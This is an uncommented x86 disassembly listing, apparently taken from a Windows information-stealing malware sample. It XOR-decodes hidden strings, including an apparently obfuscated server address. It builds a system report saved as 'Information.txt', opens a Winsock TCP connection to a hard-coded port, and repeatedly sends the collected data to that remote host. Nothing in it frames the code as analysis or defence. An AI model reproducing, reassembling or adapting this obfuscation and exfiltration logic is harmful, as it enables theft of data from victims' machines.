pop edx
xor byte [eax + edi], cl
inc eax
cmp eax, edx
jb 0x44945c
mov byte [edi + 0xc], 0
mov edx, dword [0x47677c]
lea ecx, [ebp - 0x650]
call fcn.0042a68b
mov dword [ebp - 0xc18], eax
mov byte [ebp - 4], 0x17
mov al, 0x4e
movsx ecx, al
mov byte [ebp - 0x148], al
mov dword [ebp - 0x120], 0x210d6e63
mov dword [ebp - 0x11c], 0x2b272521
mov dword [ebp - 0x118], 0x6e743d
call fcn.0043cd89
push 8
mov dword [ebp - 0xbd4], eax
xor edx, edx
pop esi
push edx
lea ecx, [ebp - 0xbd4]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x144], eax
inc edx
pop ecx
cmp edx, esi
jl 0x4494bc
push 0xb
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x148]
mov dword [ebp - 0x124], eax
call fcn.0043cd89
mov dword [ebp - 0xbd4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbd4]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x144], eax
inc edx
pop ecx
cmp edx, esi
jl 0x449504
push dword [0x4769d8]
lea eax, [ebp - 0x144]
push eax
push dword [ebp - 0x124]
call fcn.0043d15b
mov esi, eax
test esi, esi
je 0x449550
mov cl, byte [ebp - 0x148]
xor eax, eax
xor byte [esi + eax], cl
inc eax
cmp eax, 0xb
jb 0x449543
mov byte [esi + 0xb], 0
mov edx, dword [0x476798]
lea ecx, [ebp - 0x5c0]
call fcn.0042a68b
mov dword [ebp - 0xc1c], eax
mov byte [ebp - 4], 0x18
push 0x69
pop ecx
push 8
mov byte [ebp - 0x14c], cl
pop eax
movsx ecx, cl
mov word [ebp - 0x124], 0x4944
mov byte [ebp - 0x122], 0x39
mov byte [ebp - 0x121], al
mov dword [ebp - 0x120], 0x61e1a1a
mov dword [ebp - 0x11c], 0x531a0d1b
mov word [ebp - 0x118], 0x49
call fcn.0043cd89
mov dword [ebp - 0xbd4], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbd4]
call fcn.0043cdc8
pop ecx
mov dword [ebp + edx*4 - 0x148], eax
inc edx
push 8
pop eax
cmp edx, eax
jl 0x4495ba
push 0xd
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x14c]
mov dword [ebp - 0x128], eax
call fcn.0043cd89
push 8
mov dword [ebp - 0xbd4], eax
xor edx, edx
pop ebx
push edx
lea ecx, [ebp - 0xbd4]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x148], eax
inc edx
pop ecx
cmp edx, ebx
jl 0x449608
push dword [0x4769d8]
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x128]
call fcn.0043d15b
mov edx, eax
test edx, edx
je 0x449654
mov cl, byte [ebp - 0x14c]
xor eax, eax
xor byte [edx + eax], cl
inc eax
cmp eax, 0xd
jb 0x449647
mov byte [edx + 0xd], 0
push dword [ebp - 0xc1c]
lea ecx, [ebp - 0x5a8]
call fcn.0044b238
pop ecx
push 1
push 0x46bfe8
mov ecx, eax
mov byte [ebp - 4], 0x19
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x350]
call fcn.0044ae38
mov ebx, dword [ebp - 0xbd8]
or ebx, 0x80
mov dword [ebp - 0xbc8], ebx
push esi
lea edx, [ebp - 0x350]
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x590]
call fcn.0044b2bc
pop ecx
push dword [ebp - 0xc18]
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x368]
push eax
push dword [ebp - 0xbcc]
call fcn.0044be22
or ebx, 0x100
mov dword [ebp - 0xbc8], ebx
push 1
push 0x46bfe8
lea ecx, [ebp - 0x368]
mov byte [ebp - 4], 0x1c
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x380]
call fcn.0044ae38
or ebx, 0x200
mov dword [ebp - 0xbc8], ebx
push edi
lea edx, [ebp - 0x380]
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x578]
call fcn.0044b2bc
pop ecx
push dword [ebp - 0xc14]
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x398]
push eax
push dword [ebp - 0xbcc]
call fcn.0044be22
or ebx, 0x400
mov dword [ebp - 0xbc8], ebx
push 1
mov edi, 0x46bfe8
mov byte [ebp - 4], 0x1f
push edi
lea ecx, [ebp - 0x398]
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x3b0]
call fcn.0044ae38
or ebx, 0x800
mov dword [ebp - 0xbc8], ebx
mov byte [ebp - 4], 0x20
lea edx, [ebp - 0x3b0]
push dword [ebp - 0xbdc]
lea ecx, [ebp - 0x560]
call fcn.0044b2bc
pop ecx
push dword [ebp - 0xc34]
mov byte [ebp - 4], 0x21
push eax
push dword [ebp - 0xbcc]
lea ecx, [ebp - 0x3c8]
call fcn.0044be22
or ebx, 0x1000
mov dword [ebp - 0xbc8], ebx
push 1
push edi
lea ecx, [ebp - 0x3c8]
mov byte [ebp - 4], 0x22
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x3e0]
call fcn.0044ae38
or ebx, 0x2000
mov dword [ebp - 0xbc8], ebx
mov byte [ebp - 4], 0x23
lea edx, [ebp - 0x3e0]
push dword [ebp - 0xbe0]
lea ecx, [ebp - 0x7d0]
call fcn.0044b2bc
pop ecx
push dword [ebp - 0xc30]
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x3f8]
push eax
push dword [ebp - 0xbcc]
call fcn.0044be22
or ebx, 0x4000
mov dword [ebp - 0xbc8], ebx
push 2
push 0x4700b4
lea ecx, [ebp - 0x3f8]
mov byte [ebp - 4], 0x25
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x410]
call fcn.0044ae38
or ebx, 0x8000
mov dword [ebp - 0xbc8], ebx
mov byte [ebp - 4], 0x26
lea edx, [ebp - 0x410]
push dword [ebp - 0xbe4]
lea ecx, [ebp - 0x7b8]
call fcn.0044b2bc
pop ecx
lea ecx, [ebp - 0x2a8]
mov byte [ebp - 4], 0x27
push ecx
push eax
push dword [ebp - 0xbcc]
lea ecx, [ebp - 0x428]
call fcn.0044be22
mov esi, 0x10000
or ebx, esi
mov dword [ebp - 0xbc8], ebx
push 1
push edi
lea ecx, [ebp - 0x428]
mov byte [ebp - 4], 0x28
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x440]
call fcn.0044ae38
or ebx, 0x20000
mov dword [ebp - 0xbc8], ebx
mov byte [ebp - 4], 0x29
lea edx, [ebp - 0x440]
push dword [ebp - 0xbe8]
lea ecx, [ebp - 0x7a0]
call fcn.0044b2bc
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x278]
mov edx, eax
push ecx
lea ecx, [ebp - 0x788]
call fcn.0044b5be
pop ecx
pop ecx
push 1
push edi
mov ecx, eax
mov byte [ebp - 4], 0x2b
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x458]
call fcn.0044ae38
or ebx, 0x40000
mov dword [ebp - 0xbc8], ebx
mov byte [ebp - 4], 0x2c
lea edx, [ebp - 0x458]
push dword [ebp - 0xbec]
lea ecx, [ebp - 0x770]
call fcn.0044b2bc
pop ecx
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 4], 0x2d
push ecx
push eax
push dword [ebp - 0xbcc]
lea ecx, [ebp - 0x338]
call fcn.0044be22
or ebx, 0x80000
mov dword [ebp - 0xbc8], ebx
push 1
push edi
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x2e
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x320]
call fcn.0044ae38
or ebx, 0x100000
mov dword [ebp - 0xbc8], ebx
mov byte [ebp - 4], 0x2f
lea edx, [ebp - 0x320]
push dword [ebp - 0xbf0]
lea ecx, [ebp - 0x758]
call fcn.0044b2bc
lea ecx, [ebp - 0x260]
mov byte [ebp - 4], 0x30
push ecx
mov edx, eax
lea ecx, [ebp - 0x740]
call fcn.0044b5be
pop ecx
pop ecx
push 1
push edi
mov ecx, eax
mov byte [ebp - 4], 0x31
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x308]
call fcn.0044ae38
or ebx, 0x200000
mov dword [ebp - 0xbc8], ebx
mov byte [ebp - 4], 0x32
lea edx, [ebp - 0x308]
push dword [ebp - 0xbf4]
lea ecx, [ebp - 0x728]
call fcn.0044b2bc
push dword [ebp - 0xc2c]
mov byte [ebp - 4], 0x33
mov edx, eax
lea ecx, [ebp - 0x710]
call fcn.0044b2bc
pop ecx
pop ecx
push 1
push edi
mov ecx, eax
mov byte [ebp - 4], 0x34
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x2f0]
call fcn.0044ae38
or ebx, 0x400000
mov dword [ebp - 0xbc8], ebx
mov byte [ebp - 4], 0x35
lea edx, [ebp - 0x2f0]
push dword [ebp - 0xbf8]
lea ecx, [ebp - 0x6f8]
call fcn.0044b2bc
pop ecx
push dword [ebp - 0xc10]
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0x2d8]
push eax
push dword [ebp - 0xbcc]
call fcn.0044be22
or ebx, 0x800000
mov dword [ebp - 0xbc8], ebx
push 1
push edi
lea ecx, [ebp - 0x2d8]
mov byte [ebp - 4], 0x37
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x4e8]
call fcn.0044ae38
or ebx, 0x1000000
mov dword [ebp - 0xbc8], ebx
mov byte [ebp - 4], 0x38
lea edx, [ebp - 0x4e8]
push dword [ebp - 0xc04]
lea ecx, [ebp - 0x6e0]
call fcn.0044b2bc
pop ecx
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x248]
cmp dword [ebp - 0x234], 0x10
push dword [ebp - 0x238]
cmovae ecx, dword [ebp - 0x248]
push ecx
mov ecx, eax
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x4d0]
call fcn.0044ae38
or ebx, 0x2000000
mov dword [ebp - 0xbc8], ebx
push 1
push edi
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x3a
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x4b8]
call fcn.0044ae38
or ebx, 0x4000000
mov dword [ebp - 0xbc8], ebx
mov byte [ebp - 4], 0x3b
lea edx, [ebp - 0x4b8]
push dword [ebp - 0xbfc]
lea ecx, [ebp - 0x6c8]
call fcn.0044b2bc
pop ecx
push dword [ebp - 0xc28]
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x4a0]
push eax
push dword [ebp - 0xbcc]
call fcn.0044be22
or ebx, 0x8000000
mov dword [ebp - 0xbc8], ebx
push 1
push edi
lea ecx, [ebp - 0x4a0]
mov byte [ebp - 4], 0x3d
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x488]
call fcn.0044ae38
or ebx, 0x10000000
mov dword [ebp - 0xbc8], ebx
push 0x3e
pop ecx
mov byte [ebp - 4], cl
lea edx, [ebp - 0x488]
push dword [ebp - 0xc00]
lea ecx, [ebp - 0x6b0]
call fcn.0044b2bc
push dword [ebp - 0xc24]
mov edx, eax
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x698]
call fcn.0044b2bc
pop ecx
pop ecx
push 1
push edi
mov ecx, eax
mov byte [ebp - 4], 0x40
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x470]
call fcn.0044ae38
or ebx, 0x20000000
mov dword [ebp - 0xbc8], ebx
mov byte [ebp - 4], 0x41
lea edx, [ebp - 0x470]
push dword [ebp - 0xc08]
lea ecx, [ebp - 0x680]
call fcn.0044b2bc
pop ecx
push dword [ebp - 0xc20]
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x548]
push eax
push dword [ebp - 0xbcc]
call fcn.0044be22
or ebx, 0x40000000
mov dword [ebp - 0xbc8], ebx
push 1
push 0x470200
lea ecx, [ebp - 0x548]
mov byte [ebp - 4], 0x43
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x530]
call fcn.0044ae38
or ebx, 0x80000000
mov dword [ebp - 0xbd8], ebx
mov dword [ebp - 0xbc8], ebx
push dword [ebp - 0xc0c]
lea eax, [ebp - 0x530]
mov byte [ebp - 4], 0x44
push eax
push dword [ebp - 0xbcc]
lea ecx, [ebp - 0x518]
call fcn.0044be22
push 1
push edi
lea ecx, [ebp - 0x518]
mov byte [ebp - 4], 0x45
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x500]
call fcn.0044ae38
mov byte [ebp - 4], 0x46
lea edx, [ebp - 0x500]
push dword [ebp - 0xbd0]
lea ecx, [ebp - 0x668]
call fcn.0044b2bc
pop ecx
mov edx, eax
lea ecx, [ebp - 0x114]
mov byte [ebp - 4], 0x47
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x449cdf
sub ecx, edi
lea eax, [ebp - 0x114]
push ecx
push eax
mov ecx, edx
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x230]
call fcn.0044ae38
push 0x10
pop edi
mov byte [ebp - 4], 0x48
lea eax, [ebp - 0x230]
cmp dword [ebp - 0x21c], edi
lea ecx, [ebp - 0x1cc]
push dword [ebp - 0x220]
cmovae eax, dword [ebp - 0x230]
push eax
call fcn.0044b10e
lea ecx, [ebp - 0x230]
call fcn.0044adca
lea ecx, [ebp - 0x668]
call fcn.0044adca
lea ecx, [ebp - 0x500]
call fcn.0044adca
lea ecx, [ebp - 0x518]
call fcn.0044adca
lea ecx, [ebp - 0x530]
call fcn.0044adca
lea ecx, [ebp - 0x548]
call fcn.0044adca
lea ecx, [ebp - 0x680]
call fcn.0044adca
lea ecx, [ebp - 0x470]
call fcn.0044adca
lea ecx, [ebp - 0x698]
call fcn.0044adca
lea ecx, [ebp - 0x6b0]
call fcn.0044adca
lea ecx, [ebp - 0x488]
call fcn.0044adca
lea ecx, [ebp - 0x4a0]
call fcn.0044adca
lea ecx, [ebp - 0x6c8]
call fcn.0044adca
lea ecx, [ebp - 0x4b8]
call fcn.0044adca
lea ecx, [ebp - 0x4d0]
call fcn.0044adca
lea ecx, [ebp - 0x6e0]
call fcn.0044adca
lea ecx, [ebp - 0x4e8]
call fcn.0044adca
lea ecx, [ebp - 0x2d8]
call fcn.0044adca
lea ecx, [ebp - 0x6f8]
call fcn.0044adca
lea ecx, [ebp - 0x2f0]
call fcn.0044adca
lea ecx, [ebp - 0x710]
call fcn.0044adca
lea ecx, [ebp - 0x728]
call fcn.0044adca
lea ecx, [ebp - 0x308]
call fcn.0044adca
lea ecx, [ebp - 0x740]
call fcn.0044adca
lea ecx, [ebp - 0x758]
call fcn.0044adca
lea ecx, [ebp - 0x320]
call fcn.0044adca
lea ecx, [ebp - 0x338]
call fcn.0044adca
lea ecx, [ebp - 0x770]
call fcn.0044adca
lea ecx, [ebp - 0x458]
call fcn.0044adca
lea ecx, [ebp - 0x788]
call fcn.0044adca
lea ecx, [ebp - 0x7a0]
call fcn.0044adca
lea ecx, [ebp - 0x440]
call fcn.0044adca
lea ecx, [ebp - 0x428]
call fcn.0044adca
lea ecx, [ebp - 0x7b8]
call fcn.0044adca
lea ecx, [ebp - 0x410]
call fcn.0044adca
lea ecx, [ebp - 0x3f8]
call fcn.0044adca
lea ecx, [ebp - 0x7d0]
call fcn.0044adca
lea ecx, [ebp - 0x3e0]
call fcn.0044adca
lea ecx, [ebp - 0x3c8]
call fcn.0044adca
lea ecx, [ebp - 0x560]
call fcn.0044adca
lea ecx, [ebp - 0x3b0]
call fcn.0044adca
lea ecx, [ebp - 0x398]
call fcn.0044adca
lea ecx, [ebp - 0x578]
call fcn.0044adca
lea ecx, [ebp - 0x380]
call fcn.0044adca
lea ecx, [ebp - 0x368]
call fcn.0044adca
lea ecx, [ebp - 0x590]
call fcn.0044adca
lea ecx, [ebp - 0x350]
call fcn.0044adca
lea ecx, [ebp - 0x5a8]
call fcn.0044adca
lea ecx, [ebp - 0x5c0]
call fcn.0044adca
lea ecx, [ebp - 0x650]
call fcn.0044adca
lea ecx, [ebp - 0x5d8]
call fcn.0044adca
lea ecx, [ebp - 0x5f0]
call fcn.0044adca
lea ecx, [ebp - 0x608]
call fcn.0044adca
mov edx, dword [ebp - 0x294]
cmp edx, edi
jb 0x449f8c
mov ecx, dword [ebp - 0x2a8]
inc edx
call fcn.0044bc25
lea ecx, [ebp - 0x1e4]
call fcn.0044adca
push 4
pop eax
test al, bl
je 0x449fbd
mov edx, dword [ebp - 0x204]
and ebx, 0xfffffffb
mov dword [ebp - 0xbd8], ebx
cmp edx, edi
jb 0x449fbd
mov ecx, dword [ebp - 0x218]
inc edx
call fcn.0044bc25
test bl, 2
je 0x449fd6
and ebx, 0xfffffffd
lea ecx, [ebp - 0x198]
mov dword [ebp - 0xbd8], ebx
call fcn.0044adca
mov dword [ebp - 4], 0xe
test bl, 1
je 0x449ff6
and ebx, 0xfffffffe
lea ecx, [ebp - 0x290]
mov dword [ebp - 0xbd8], ebx
call fcn.0044adca
lea ecx, [ebp - 0x620]
call fcn.0044adca
lea ecx, [ebp - 0x638]
call fcn.0044adca
lea ecx, [ebp - 0x2c0]
mov byte [ebp - 4], 0xb
call fcn.0044adca
push dword [ebp - 0xbcc]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
cmp dword [ebp - 0x1b8], edi
lea eax, [ebp - 0x1cc]
mov ecx, dword [0x476790]
mov edx, str.Information.txt
cmovae eax, dword [ebp - 0x1cc]
push 3
push dword [ebp - 0x1bc]
push eax
call fcn.0042e104
mov eax, dword [0x476790]
add esp, 0xc
test eax, eax
jne 0x44a06b
xor edi, edi
and dword [ebp - 0xbc8], edi
jmp 0x44a0b5
cmp dword [eax], 2
je 0x44a089
mov eax, dword [ebp - 0xc3c]
mov esi, 0x80000
mov edi, dword [ebp - 0xc38]
mov dword [ebp - 0xbc8], eax
jmp 0x44a0b5
mov esi, dword [eax + 4]
cmp byte [esi + 0x2c], 0
jne 0x44a099
mov ecx, esi
call fcn.0042dfad
mov eax, dword [esi + 0x18]
mov edi, dword [esi + 0x20]
mov dword [ebp - 0xbc8], eax
xor eax, eax
mov byte [esi + 0x2c], 1
test edi, edi
mov esi, 0x20000
cmovne esi, eax
lea eax, [ebp - 0x9dc]
mov dword [0x476794], esi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x44a2e2
push 2
pop eax
push 0x1754
mov word [ebp - 0x228], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [ebp - 0x226], ax
movzx eax, word [ebp - 0x228]
push 1
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x44a2dc
push 0x1e
pop eax
movsx ecx, al
mov byte [ebp - 0x14c], al
mov dword [ebp - 0x124], 0x30272e2f
mov dword [ebp - 0x120], 0x2c302a27
mov dword [ebp - 0x11c], 0x2c30262e
mov word [ebp - 0x118], 0x2e
call fcn.0043cd89
mov dword [ebp - 0xbcc], eax
xor edx, edx
push edx
lea ecx, [ebp - 0xbcc]
call fcn.0043cdc8
pop ecx
mov dword [ebp + edx*4 - 0x148], eax
inc edx
push 8
pop eax
cmp edx, eax
jl 0x44a14e
push 0xd
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.0043d0e5
movsx ecx, byte [ebp - 0x14c]
mov dword [ebp - 0x128], eax
call fcn.0043cd89
push 8
mov dword [ebp - 0xbcc], eax
xor edx, edx
pop ebx
push edx
lea ecx, [ebp - 0xbcc]
call fcn.0043cdc8
mov dword [ebp + edx*4 - 0x148], eax
inc edx
pop ecx
cmp edx, ebx
jl 0x44a19c
push dword [0x4769d8]
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 0x128]
call fcn.0043d15b
test eax, eax
je 0x44a1e6
mov dl, byte [ebp - 0x14c]
xor ecx, ecx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0xd
jb 0x44a1d9
mov byte [eax + 0xd], 0
lea ecx, [ebp - 0x224]
push ecx
push eax
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_inet_pton]
mov ebx, dword [ebp - 0xbd8]
push 0x10
lea eax, [ebp - 0x228]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x44a2ba
cmp dword [ebp - 0x1b8], 0x10
lea edx, [ebp - 0x1cc]
push dword [ebp - 0x1bc]
cmovae edx, dword [ebp - 0x1cc]
lea ecx, [ebp - 0x2c0]
call fcn.0043f309
pop ecx
push 0xd
push str._nxXxXxXxXxXx_n
mov ecx, eax
mov byte [ebp - 4], 0x49
call fcn.0044b10e
push eax
lea ecx, [ebp - 0x218]
call fcn.0044ae38
push 8
pop eax
lea ecx, [ebp - 0x2c0]
mov byte [ebp - 4], 0xb
or ebx, eax
call fcn.0044adca
cmp dword [ebp - 0x204], 0x10
lea eax, [ebp - 0x218]
push 0
push dword [ebp - 0x208]
cmovae eax, dword [ebp - 0x218]
push eax
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x44a2af
mov eax, dword [ebp - 0xbc8]
push 0
inc eax
push eax
push edi
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x44a2ca
lea ecx, [ebp - 0x218]
call fcn.0044adca
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x44a1fe
lea ecx, [ebp - 0x218]
call fcn.0044adca
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp dword [ebp - 0x1b8], 0x10
lea eax, [ebp - 0x1cc]
mov edx, dword [ebp - 0x234]
cmovae eax, dword [ebp - 0x1cc]
xor ebx, ebx
mov dword [ebp - 0x1bc], ebx
mov byte [eax], bl
cmp edx, 0x10
jb 0x44a317
mov ecx, dword [ebp - 0x248]
inc edx
call fcn.0044bc25
mov edx, dword [ebp - 0x1b8]
cmp edx, 0x10
jb 0x44a32e
mov ecx, dword [ebp - 0x1cc]
inc edx
call fcn.0044bc25
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x1bc], ebx
mov dword [ebp - 0x1b8], 0xf
mov byte [ebp - 0x1cc], bl
call fcn.0044adca
lea ecx, [ebp - 0x260]
call fcn.0044adca
call fcn.00460795
ret